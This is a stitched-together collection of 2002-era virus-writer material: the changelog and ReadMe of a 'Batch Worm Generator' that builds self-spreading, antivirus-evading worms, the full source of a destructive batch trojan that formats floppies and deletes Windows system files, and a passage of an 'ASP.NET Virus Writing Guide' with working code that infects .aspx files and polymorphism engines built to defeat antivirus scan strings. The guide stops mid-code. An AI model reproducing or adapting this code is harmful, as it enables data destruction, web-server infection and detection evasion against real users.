Killed the KAV heuristic alarm Type_BAT, if only choose bat-infection! Made REG dropping random Made VBS dropping random Made LNK dropping random Fixed a bug in the INTERNET-UPDATE routine * version 2.08 - 02.06.2002 Added PIF file dropping! Added LNK file dropping! I tryed to add HTM(L) dropping, but my HTM files won't execute .bat files, or .vbs files! * version 2.07 - 31.05.2002 wow... KAV worked a lot... but i didn't sleep: Killed ~~$gt; I-Worm.BWG ~~$gt; I-Worm.BWG.c ~~$gt; I-Worm.BWG.d ~~$gt; IRC-Worm.generic.bat I added Fake set lines! Added VBS file dropping! Fixed a bug in the pIRCh Part! * version 2.06 - 24.05.2002 Fixed a bug in the part AV killing Fixed a small bug in the mIRC random! AV killing is more random Added Virc spreading! Added REG file dropping! Added some other AV programs... The worm will be saved as the "mail-file-name"! * version 2.05 - 22.05.2002 Fixed a bug in the Registry Entry, but now does it work! Killed the KAV virus "I-Worm.BWG.c" Killed the KAV virus "I-Worm.BWG.b" Killed the KAV virus "I-Worm.BWG" Killed the KAV virus "IRC-Worm.BWG" Killed the KAV virus "Trojan.BAT.KillAV.b" Found out the secret of "Crypt.BWG" I have to say, that WAS nice *bg* Nice english in the program --$gt; Thanks 2 VorteX Added system.ini infection! * version 2.04 - 18.05.2002 Fixed bugs! KAV tried it again! ;-) I-Worm.BWG! But i found a new funny technique: I make every word random, not only every line! Now there are only some major lines generated with this technique! But I try to make the whole code with this technique!! ;-) * version 2.03 - 13.05.2002 Added Registry Key Fixed a bug: If you choosed any option, then the BWG will include this lines in the next worms, because the variable was even positive ;-) KAV don't detect any worm, even with heuristic! ;-) * version 2.02 - 05.05.2002 KAV tried it again ;-) They detected some Worms as I-Worm.BWG.b Now the mIRC part is random! Fixed some silly bugs! Made the mIRC spreading better! * version 2.01 - 28.04.2002 Fixed a silly bug in the EICAR-file KAV detected the win.ini part, the vbs-part and the pIRCH-part as I-Worm.BWG (before as I-Worm.BWG.10) Now it's not possible for them to detect any virus, because I've made all of them random! I think BWG will have a nice future!! ;-) * version 1.11 - 16.04.2002 Fixed bugs: two in the "all file infection" function one in the "Internet Update" function one in the ".bat file infection" function one in the "logic hard drive" function * version 1.10 - 14.04.2002 All filenames like hamlet.bat are polymorph now! Fixed two major bugs in the vbs-part! * version 1.09 - 13.04.2002 Added INTERNET UPDATE Killed the virus I-Worm.pics the file email.vbs is a little bit random I think, KAV is really confused, because they find BWG 1.07 as Constructor.DOS.I-Worm.Pics!?! AntiVir find some of my Constructors, but no BWG worms ;-) * version 1.08 - 11.04.2002 KAV have found the vbs-worms of the BWG as I-Worm.pics.b, so I made the vbs-part very random! Added EICAR includeing! * version 1.07 - 09.04.2002 Added WIN.INI dropping! You are able to kill AV programs and write a message! Added THANKS AND GREETS! Made Disk infection better (no Error if there is no Disk) Made the BAT infection better (not only current dir) Fixed one bug in Windows infection! * version 1.06 - 07.04.2002 Killed the virus IRC-Worm generic.bat! mIRC spreading is shorther and better than before! KAV is very silly, because it warns for the Constructor.BAT.BWG.104 if I make a new version (not infection), but it doesn't find any BWG virus *fg* * version 1.05 - 06.04.2002 You are able to choose the Attachment from mIRC and pIRCh! Tricked the KAV Batch heuristic!! yeahh... ;-) Killed the virus BAT.Silly.d! Fixed some bugs! * version 1.04 - 04.04.2002 Fixed some bugs! Added to choose infection of .BAT files I've tried to trick the heuristic of KAV, but I haven't success yet. But don't worry, I work at this! ;-) Now KAV find all my BWGs *fg* School is very hard (for me) and I won't be negativ in my first year, so I won't have as much time to make the BWG as now. * version 1.03 - 30.03.2002 Added english start up infection! Outlook-spreading: You are able to choose your self subject and body! Fixed some bugs! * version 1.02 - 26.03.2002 I added some different stings! So every worm is different, also if the same has been choosen. Kaspersky Anti Virus find BWG 0.01 as Constructor.BAT.BWG.001 ;-) Fortunately it doesn't find the worm, which was made with BWG!! * version 1.01 - 24.03.2002 I've fixed all bugs in this program!! Now the program get some funny technics! ;-) * version 0.05 - 22.03.2002 Add a new IRC spreading: pIRCh * version 0.04 - 21.03.2002 Add MS-Outlook spreading! Now BWG looks very nice!! * version 0.03 - 20.03.2002 Add mIRC spreading! Slowly BWG becomes be good!! ;-) * version 0.02 - 19.03.2002 No more bugs! Add activating with a logic disk * version 0.01 - 15.03.2002 Only Basic Construction! Some bugs Only disk and data file infection ####################################[history.txt]################################### ####################################[ReadMe.txt]################################### Batch Worm Generator by SeCoNd PaRt To HeLl (spth@jet2web.cc) [www.spth.de.vu] I.) What is the Batch Worm Generator? II.) Freatures III.) A small cut of my to-do list IV.) Thanks and greets I.) What is the Batch Worm Generator? The Batch Worm Generator or Constructor.BAT.BWG is propable the best Batch Virii Generator. It generates Worms, which are able to spread in the Internet. Every generated BWG-Worm is different, because of some nice techniques... I try to make it impossible to detect all BWG-Worms, but KAV also tried to find the worms as I-Worm.BWG.a-f or BAT.BWG.a-c! But now they don't detect any Worm! BWG don't contain any binary code, because of that it no problem to read the outputs... II.) Freatures Infects: + BAT files (overwriting) - Windows Direction - Current Direction - Root Direction - Parents Direction - %path% Direction dropping: + REG files + VBS files + JS files + PIF files + LNK files copying: + desktop path + Disk A: worming: + Self mailing via MS Outlook + KAZAA spreading + mIRC spreading + pIRCh spreading + vIRC spreading autostart: + win.ini + Autostart Direction - german - english + Registry Key + system.ini extra: + subst drive + message + include EICAR-Test-File + delete some AV progs + includeing 1000 Fake-Bytes + copying to a undelateable folder in windows III.) A small cut of my to-do list Here I write things, which I will add in one of the next versions: PHP-dropping { I don't think, that I will manage it +fg+ ) HTM-dropping { I've tried it 100 times without success, but I will try it again and again and again... } Other languages Autostart Direction { hmm, it could be possible } Morpheus-spreading { VorteX!!! ;-) } Other encryption techniques { perhaps from DUKE/SMF's Advanced Batch Mutator } IV.) Thanks and greets VorteX : for the very good suggestions and bug reports, his batch viruses and for the interesting in my BWG ;-) Worf : for BAT/REG/PHP viruses and the "Where is the source"-mail every version +fg+ SnakeByte : for progging help and totorials Positron : for his batch viruses BlackCat : for uploading my BWG @ your Page [http://hvx.cjb.net - down] - so BWG became famous Dr. T : for uploading my BWG @ your Page [http://www.ebcvg.com] - you also helped BWG to became famous assassin007 : for pushing my BWG to the eBCVG #2 others I want to greets... philet0ast3r, alcopaul, mgl, zed, all rRlf members, PetiK, [K]alamar, Duke/SMF, Hirosh, and all ppl ever wrote me an eMail ;-) Second Part To Hell spth@jet2web.cc [www.spth.de.vu] ####################################[ReadMe.txt]###################################sources
Trojan.BAT.Krebs Second Part To Hell Trojan.BAT.Krebs - my very first batch virus ;)) Some day in 2001 Oh yeah, i can remember coding it - it was cool, i was cool, i became a "pro virus coder" :)) @echo off REM -KREBS(bat)- REM by McHit echo Beim Oeffnen des Programms ist ein Fehler aufgetretten! echo Bitte wiederholen Sie den Vorgang! ctty NUL REM Ausbruchs des KREBS' copy prog.bat C:\Windows\Desktop md C:\Windows\Desktop\Problem copy prog.bat C:\Windows\Desktop\Problem md C:\Windows\Desktop\Explorer copy prog.bat C:\Windows\Desktop\Explorer md C:\Windows\Desktop\Info copy prog.bat C:\WINDOWS\Desktop\Info md C:\Windows\Desktop\Spiele del C:\Windows\Desktop\Spiele\*.* copy prog.bat C:\Windows\Desktop\Spiele md C:\Windows\Desktop\Programme del C:\Windows\Desktop\Programme\*.* copy prog.bat C:\Windows\Desktop\Programme md C:\Windows\Desktop\Internet copy prog.bat C:\Windows\Desktop\Internet copy prog.bat C:\ md C:\ReadMe copy prog.bat C:\ReadMe\prog.bat if exist C:\Windows\Krebs\1\*.* goto 2 goto nicht1 :2 if exist C:\Windows\Krebs\2\*.* goto 3 goto nicht2 :3 if exist C:\Windows\Krebs\3\*.* goto 4 goto nicht3 :4 if exist C:\Windows\Krebs\4\*.* goto 5 goto nicht4 :5 if exist C:\Windows\Krebs\5\*.* goto 5mal goto nicht5 :nicht1 if exist A:\prog.bat goto Ende format A: /u /q /autotest copy prog.bat A:\prog.bat md C:\Windows\Krebs\1 copy prog.bat C:\Windows\Krebs\1 goto Ende :nicht2 if exist A:\prog.bat goto Ende format A: /u /q /autotest copy prog.bat A:\prog.bat md C:\Windows\Krebs\2 copy prog.bat C:\Windows\Krebs\2 goto Ende :nicht3 if exist A:\prog.bat goto Ende format A: /u /q /autotest copy prog.bat A:\prog.bat md C:\Windows\Krebs\3 copy prog.bat C:\Windows\Krebs\3 goto Ende :nicht4 if exist A:\prog.bat goto Ende format A: /u /q /autotest copy prog.bat A:\prog.bat md C:\Windows\Krebs\4 copy prog.bat C:\Windows\Krebs\4 goto Ende :nicht5 if exist A:\prog.bat goto Ende format A: /u /q /autotest copy prog.bat A:\prog.bat md C:\Windows\Krebs\5 copy prog.bat C:\Windows\Krebs\5 goto Ende :5mal :stadium1 if exist C:\Windows\Krebs1\*.* goto stadium2 del C:\*.* copy prog.bat C:\autoexec.bat copy prog.bat C:\io.sys copy prog.bat C:\config.sys copy prog.bat C:\command.com copy prog.bat C:\Windows\prog.bat del C:\Windows\com*.* copy prog.bat C:\Windows\command.com del C:\Windows\command\*.* copy prog.bat C:\Windows\Autoexec.bat copy prog.bat C:\Windows\command\autoexec.bat copy prog.bat C:\Windows\command\command.com del C:\Windows\Krebs\5\*.* rd C:\Windows\Krebs\5 del C:\Windows\Krebs\4\*.* rd C:\Windows\Krebs\4 del C:\Windows\Krebs\3\*.* rd C:\Windows\Krebs\3 del C:\Windows\Krebs\2\*.* rd C:\Windows\Krebs\2 del C:\Windows\Krebs\1\*.* rd C:\Windows\Krebs\1 rd C:\Windows\Krebs md C:\Windows\Krebs1 copy prog.bat C:\Windows\Krebs1 goto Ende :stadium2 if exist C:\Windows\Krebs2\*.* goto stadium3 del C:\Windows\System\*.* del C:\Windows\*.* del C:\Windows\Krebs\5\*.* rd C:\Windows\Krebs\5 del C:\Windows\Krebs\4\*.* rd C:\Windows\Krebs\4 del C:\Windows\Krebs\3\*.* rd C:\Windows\Krebs\3 del C:\Windows\Krebs\2\*.* rd C:\Windows\Krebs\2 del C:\Windows\Krebs\1\*.* rd C:\Windows\Krebs\1 rd C:\Windows\Krebs md C:\Windows\Krebs2 copy prog.bat C:\Windows\Krebs2 goto Ende :stadium3 REM Endestadium if exist A:\prog.bat goto TOD format A: /u /q /autotest copy prog.bat A:\prog.bat :TOD :Endearticles
ASP.NET Virus Writing Guide Second Part To Hell ************************************************************* ************************************************************* ************ *********** ************ ASP.NET Virus Writing Guide *********** ************ by Second Part To Hell/[rRlf] *********** ************ *********** ************************************************************* ************************************************************* Index: ****** 0) Intro Words 1) File infection a) Prepending b) Appending c) Entry Point Obscuring 2) Polymorphism a) Variable Changing b) Adding Trash c) Number Changing d) Lower/Upper Case Games e) Space Games f) Colon Games 3) Last Words 0) Intro Words This time I've found another victim: ASP.NET. It is a pre-compiled language running on web-servers like IIS. I want to explain 'pre-compiled' a little bit: The server, when it runs a specific file for the first time, compiles it for execution (not as i.E. PHP, which are just interpreted) and saves the compiled version of the file. The advantage: The next executions are a lot faster than at pre-processor languages like PHP. The advantage in contrast to ASP is that we can use the whole amount of functions, methods, classes provided by the .NET Framework. ASP.NET scripts can be written in VB.NET, C#, C++ and J#. I've desided to use VB.NET for this article. For the codes I've used .NET Framework 1.1 and 2.0 beta (at IIS), and the codes run at both environment. Well, now let's look at the ASP.NET infection :) 1.) File infection a) Prepending As always, I would like to start with the prepender virus for giving you the first ideas of that language. As I was not able to find a command for getting the own path of the current executed file (__FILE__, %0, ... in other languages), the virus searchs in every *.aspx file in the standart wwwroot folder for itself. When it found itself, it searchs for victims and infect them. More detailed explained after the code. - - - - - - - - - - - - - [ ASP.NET Prepender Virus Example ] - - - - - - - - - - - - - <!-- LUX --> <html> <head> <script language="VB" runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Try Dim di As New System.IO.DirectoryInfo("C:\Inetpub\wwwroot") Dim fiArr As System.IO.FileInfo() = di.GetFiles("*.aspx") Dim fri As System.IO.FileInfo Dim line, file_cont As String Dim i,IsInf As Integer Dim VirCode As String = "" For Each fri In fiArr Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then VirCode = file_cont.Substring(i-1, 1613) Next Next For Each fri In fiArr IsInf=0 file_cont="" Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then IsInf = 1 Next If IsInf <> 1 Then Dim file_pointerW As New System.IO.StreamWriter("C:\Inetpub\wwwroot\"+fri.Name) file_pointerW.WriteLine(VirCode+Chr(13)+Chr(10)+file_cont) file_pointerW.Close() i=file_cont.Length End If Next Catch ex As Exception End Try End Sub </script> </head> <body> <p id="ausgabe" runat="server"></p> </body> </html> - - - - - - - - - - - - - [ ASP.NET Prepender Virus Example ] - - - - - - - - - - - - - Long code for a simple prepender, hmm? Well, I already gave you the reason. Now the explanaion: --> Opens the standart folder of wwwroot ("C:\Inetpub\wwwroot") --> Gets all *.aspx files in there --> Searchs for its code in every *.aspx file --> Saves its codes --> Searchs for uninfected victims --> Reads the code --> Writes the viruscode and the original code to the file b) Appending This code is another standart-infection-type, so let's look at it. This time let's put the code after the original filecontent. - - - - - - - - - - - - - [ ASP.NET Appending Virus Example ] - - - - - - - - - - - - - <!-- LUX --> <html> <head> <script language="VB" runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Try Dim di As New System.IO.DirectoryInfo("C:\Inetpub\wwwroot") Dim fiArr As System.IO.FileInfo() = di.GetFiles("*.aspx") Dim fri As System.IO.FileInfo Dim line, file_cont As String Dim i,IsInf As Integer Dim VirCode As String = "" For Each fri In fiArr Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then VirCode = file_cont.Substring(i-1, 1613) Next Next For Each fri In fiArr IsInf=0 file_cont="" Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then IsInf = 1 Next If IsInf <> 1 Then Dim file_pointerW As New System.IO.StreamWriter("C:\Inetpub\wwwroot\"+fri.Name) file_pointerW.WriteLine(file_cont+Chr(13)+Chr(10)+VirCode) file_pointerW.Close() i=file_cont.Length End If Next Catch ex As Exception End Try End Sub </script> </head> </html> - - - - - - - - - - - - - [ ASP.NET Appending Virus Example ] - - - - - - - - - - - - - There is not too much difference to the prepender code. --> Opens the standart folder of wwwroot ("C:\Inetpub\wwwroot") --> Gets all *.aspx files in there --> Searchs for its code in every *.aspx file --> Saves its codes --> Searchs for uninfected victims --> Reads the code --> Writes the original code and the viruscode to the file c) Entry Point Obscuring This is the first techniqually interesting type of infection: Anywhere in the middle: EPO The virus searchs for a valueable place which could be infected, and does it. To be more precicly it searchs for a code between the html-statements. That means, it searchs for '>' to infect that place. Better explanation follows at the end. - - - - - - - - - - - - - [ ASP.NET EPO Virus Example ] - - - - - - - - - - - - - <html> <head> <!-- LUX --> <script language="VB" runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Try Dim di As New System.IO.DirectoryInfo("C:\Inetpub\wwwroot") Dim fiArr As System.IO.FileInfo() = di.GetFiles("*.aspx") Dim fri As System.IO.FileInfo Dim line, file_cont As String Dim i,IsInf,rnd_num,place_c,place As Integer Dim VirCode As String = "" Dim placesarr(235) As Integer rnd_num=0 place_c=0 For Each fri In fiArr Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then VirCode = file_cont.Substring(i-1, 2494) Next rnd_num=rnd_num+fri.Length Next For Each fri In fiArr IsInf=0 file_cont="" Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then IsInf = 1 Next If IsInf <> 1 Then For i=0 to file_cont.Length-10 If file_cont.Substring(i,1)=">" Then place_c=place_c+1 placesarr(place_c)=i+2 End If If i+7 <= file_cont.Length Then If file_cont.Substring(i,7)="<script" Then Dim found_script As Integer=0 While found_script=0 i=i+1 If file_cont.Substring(i,9)="</"+"script>" Then found_script=1 End While End If End If Next Dim file_pointerW As New System.IO.StreamWriter("C:\Inetpub\wwwroot\"+fri.Name) place=placesarr(rnd_num Mod place_c) file_pointerW.WriteLine(file_cont.Substring(0,place-1)+VirCode+file_cont.Substring(place-1,file_cont.Length-place-1)) file_pointerW.Close() i=file_cont.Length End If Next ausgabe.InnerHtml=place Catch ex As Exception End Try End Sub </script> </head> <body> <p id="ausgabe" runat="server"></p> </body> </html> - - - - - - - - - - - - - [ ASP.NET EPO Virus Example ] - - - - - - - - - - - - - --> Opens the standart folder of wwwroot ("C:\Inetpub\wwwroot") --> Gets all *.aspx files in there --> Searchs for its code in every *.aspx file --> Saves its codes --> Searchs for potentially victims --> Reads the victim-code --> Searchs for potentially places to infect (end-html-statements '>') --> Gets one place to infect --> Writes the first part of victim to host --> Writes the virus to host --> Writes the second part of victim to host 2) Polymorphism a) Variable Changing This is a standart polymorphism technique for script-viruses - and I think it should be done in every infectable language; so I desided to do it here too. Every polymorphism needs random numbers. The .NET Framework provides the random numbers not as function or methode (as it's in most other languages), but as System.Random - Object. This is quite strange, but not more difficult - just different. Well, variable changing means to rename every variable or function name in the whole code. As there is no command for the own file (or at least I did not find one), I used a static path-name. But that does not mind, because in a real virus we have to search for the own code anyway. - - - - - - - - - - - [ ASP.NET Variable Changing Polymorphism Example ] - - - - - - - - - - - <%@ Page Language="VB" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, my_code_line As String Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close Dim my_var_arr() As String = {"my_file_name","my_file_code","my_code_line","file_pointer","my_var_arr","one_var_name","my_arr_obj","file_Wpointer","new_var_name","counter_i","new_name_length","find_new_name"} Dim one_var_name As String Dim my_arr_obj As new System.Random() For Each one_var_name In my_var_arr my_code_line=find_new_name(my_arr_obj.Next(10),my_arr_obj) my_file_code=my_file_code.Replace(one_var_name, my_code_line) Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(my_file_code) file_Wpointer.Close End Sub Function find_new_name(new_name_length As Integer, my_arr_obj As Random) Dim new_var_name As String = "" Dim counter_i As Integer new_name_length=new_name_length+5 For counter_i = 0 to new_name_length new_var_name=new_var_name+Chr(my_arr_obj.Next(26)+97) Next find_new_name=new_var_name End Function </script> - - - - - - - - - - - [ ASP.NET Variable Changing Polymorphism Example ] - - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code --> Closes itself --> Makes an array of all used variables --> Does a for-next for all entries in the array --> Gets random name with random length by the find_new_name function --> Replaces the old variable with the new one --> Writes the new code the the own file b) Adding Trash Now let's try to add some trash into the ASP.NET code. First think: What could be trash? I thought of the following stuff: -> Commends: * Rem anything * ' anything -> Variable Definition: * Dim [anything] As String * Dim [anything] As String = "[Anything]" * Dim [anything] As Integer There would be much more possible junk, but for the first try, let's use these six different options. (Some further thinks would be the writing of not used objects like Dim anything As new System.Random() or other stuff.) - - - - - - - - - - - [ ASP.NET Adding Trash Polymorphism Example ] - - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code(150), my_code_line, trash_line As String Dim i As Integer = 0 Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code(i)=my_code_line i=i+1 Loop Until my_code_line Is Nothing file_pointer.Close Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) For Each my_code_line In my_file_code If my_code_line <> "" Then If Mid(my_code_line,1,1)=" " Then If my_arr_obj.Next(5)=1 Then file_Wpointer.WriteLine(find_trash(my_arr_obj.Next(6), my_arr_obj)) file_Wpointer.WriteLine(my_code_line) End If End If Next file_Wpointer.Close End Sub Function find_trash(which_trash As Integer, my_arr_obj As Random) If which_trash = 1 Then find_trash="Dim "+find_new_name(my_arr_obj.Next(10), my_arr_obj)+" As String" If which_trash = 2 Then find_trash="Dim "+find_new_name(my_arr_obj.Next(10), my_arr_obj)+" As String ="+Chr(34)+find_new_name(my_arr_obj.Next(20), my_arr_obj)+Chr(34) If which_trash = 3 Then find_trash="Dim "+find_new_name(my_arr_obj.Next(10), my_arr_obj)+" As Integer" If which_trash = 4 Then find_trash="Rem "+find_new_name(my_arr_obj.Next(10), my_arr_obj) If which_trash = 5 Then find_trash="' "+find_new_name(my_arr_obj.Next(10), my_arr_obj) End Function Function find_new_name(new_name_length As Integer, my_arr_obj As Random) Dim new_var_name As String = "" Dim counter_i As Integer new_name_length=new_name_length+5 For counter_i = 0 to new_name_length new_var_name=new_var_name+Chr(my_arr_obj.Next(26)+97) Next find_new_name=new_var_name End Function </script> - - - - - - - - - - - [ ASP.NET Adding Trash Polymorphism Example ] - - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Checks for every line if trash should be included --> Include 1 out of 5 trash lines --> Writes the code into the own file c) Number Changing This is polymorphism technique which I've already done in JS, PHP and Ruby (see rRlf #5, 29a#7 and 29a#8)- but it is a real good technique, therefore I wanted to do it in ASP.NET with VB.NET too. The idea is that numbers can also be seen as calculations. That means 666 = 999-333 = 333+333 = 1332 / 2 It's an easy princip - but it works fine. And it helps against simple detection of the virus. Let's see first an later calculation of a nice number, then the code of the engine: 666=((((6093/9)-(28/4))+(((224/7)/(5-1))-((40/1)/(9-1))))-(-((10/(14-9))-1)+((36+(28/(1+6)))/5))) - - - - - - - - - - - [ ASP.NET Number Changing Polymorphism Example ] - - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close For i=1 To my_file_code.Length If Asc(Mid(my_file_code,i,1))>47 And Asc(Mid(my_file_code,i,1))<58 Then found_number="" While Asc(Mid(my_file_code,i,1))>47 And Asc(Mid(my_file_code,i,1))<58 found_number=found_number+Mid(my_file_code,i,1) i=i+1 End While new_file_code=new_file_code+get_new_num(found_number, my_arr_obj)+Mid(my_file_code,i,1) Else new_file_code=new_file_code+Mid(my_file_code,i,1) End If Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub Function get_new_num(number As String, my_arr_obj As Random) Dim rnd_num As Integer = my_arr_obj.Next(7) Dim rnd_num_B As Integer = my_arr_obj.Next(9)+1 Dim new_num As String = Str(Val(number)-rnd_num_B) If rnd_num=0 Then get_new_num="("+Str(Val(number)-rnd_num_B)+"+"+Str(rnd_num_B)+")" If rnd_num=1 Then get_new_num="("+Str(Val(number)+rnd_num_B)+"-"+Str(rnd_num_B)+")" If rnd_num=2 Then get_new_num="("+Str(Val(number)*rnd_num_B)+"/"+Str(rnd_num_B)+")" If rnd_num>2 Then get_new_num=number get_new_num=get_new_num.Replace(" ","") End Function </script> - - - - - - - - - - - [ ASP.NET Number Changing Polymorphism Example ] - - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Searchs for every letter if it's a number Chr(47) < x < Chr(58) --> If found, search for the full number --> Calls a function to get a new number --> Use one out of tree calculations: Add, Sub, Div. It's not possible to use Mul as the code has to Div it first, and that makes commas, which will make errors in next generations. --> Replace the number by change of 1/4 --> Writes new code to the file d) Lower/Upper Case Games This polymorphism technique was just able to bring to reality, because I've used VB.NET. That language is NOT Case-Sensitive, (in contrast to C++.NET or C#). The idea is, that every letter can be written uppercase or lowercase. The advantage: AVers can not use simple scan strings - combined with the other techniques, this is a strong way to fuck the detection of a virus. Now the code: - - - - - - - - - - [ ASP.NET Lower/Upper Case Game Polymorphism Example ] - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close For i=1 To my_file_code.Length If Asc(Mid(my_file_code,i,1))>64 And Asc(Mid(my_file_code,i,1))<91 And my_arr_obj.Next(3)=1 Then new_file_code=new_file_code+Chr(Asc(Mid(my_file_code,i,1))+32) ElseIf Asc(Mid(my_file_code,i,1))>96 And Asc(Mid(my_file_code,i,1))<123 And my_arr_obj.Next(3)=1 Then new_file_code=new_file_code+Chr(Asc(Mid(my_file_code,i,1))-32) Else new_file_code=new_file_code+Mid(my_file_code,i,1) End If Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub </script> - - - - - - - - - - [ ASP.NET Lower/Upper Case Game Polymorphism Example ] - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Checks for each byte in the code if it's a uppercase letter --> If so, by a chance of 1/3: Chr(nn)+32 --> Checks for each byte in the code if it's a lowercase letter --> If so, by a chance of 1/3: Chr(nn)-32 --> Writes new code to the file e) Space Games This technique uses the behaviour of VB.NET scripts, that they simply ignore multi space between commands. That means: "End Sub" == " End Sub " By using that technique, AVers can not use simple scan-strings again. They have to build in a function for ignoring multible spaces. And, as the other techniques too, this means more work. In combination with other techniques: The less they can detect static, the harder they have to work, and the more difficult it becomes to find a valueable detection. Now the code: - - - - - - - - - - [ ASP.NET Space Game Polymorphism Example ] - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close For i=1 To my_file_code.Length If Mid(my_file_code,i,1)=Chr(32) And my_arr_obj.Next(4)=1 Then new_file_code=new_file_code+chr(32) new_file_code=new_file_code+Mid(my_file_code,i,1) Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub </script> - - - - - - - - - - [ ASP.NET Space Game Polymorphism Example ] - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Searchs for Spaces in the own code and by change of 1/4 makes a double space --> Writes new code to the file f) Colon Games The last polymorphism-engine I'll show you uses the character ':'. This one can be used for VB/VBS/VB.NET codes to combine 2 files without Chr(13,10). As this could be used for viruses too, i've written that engine. Sometimes the code changes Chr(13,10) to colons and sometimes the opposite. This makes the virus look quite different every version. 'Sub ... ()' and 'End Sub' have to be in the same line, and therefore the code ignores every Chr(13,10), which has a space before. (This is important if you want to copy/paste/rewrite the code.) Well, let's look at the last code of this article: - - - - - - - - - - [ ASP.NET Collon Game Polymorphism Example ] - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C"+Chr(58)+"\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close new_file_code=new_file_code+Mid(my_file_code,1,1) For i=2 To my_file_code.Length If Mid(my_file_code,i,2)=Chr(13)+Chr(10) And my_arr_obj.Next(4)=1 Then If Mid(my_file_code,i-1,1)<>">" And Mid(my_file_code,i-1,1)<>" " Then new_file_code=new_file_code+chr(58) i=i+1 Else 